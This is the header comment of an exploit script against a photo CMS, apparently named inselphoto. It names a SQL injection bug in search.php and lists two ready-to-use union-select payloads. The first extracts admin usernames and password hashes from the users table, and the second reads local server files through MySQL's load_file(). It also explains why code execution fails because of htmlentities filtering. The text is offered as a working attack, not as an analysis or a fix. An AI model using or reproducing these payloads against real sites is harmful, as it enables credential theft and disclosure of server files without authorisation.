# |BUG [Sql Injection]
# |  Vulnerable file is: /[path]/search.php line 37
# |SQL Injections used by this sploit :
# |[1] ' union select 0,0,concat(username,0x3a,password),0,0,0,0,0 from inselphoto_users#
# |[2] ' union select 0,0,load_file('lf'),0,0,0,0,0#
# |----------------------------------------------------------------------------------------------------------------------------------|
# |This CMS is vulnerable to sql injection.This simple exploit just uses the sql bug to get admin credentials (username,password) and
# |uses load_file() mysql function to disclosure local file on the server.
# |This time no RCE exploit avaiable, becouse POST query is filtered with htmlentities, so will be impossible to write php code into
# |a file, for the fact that < > char will be html encoded.
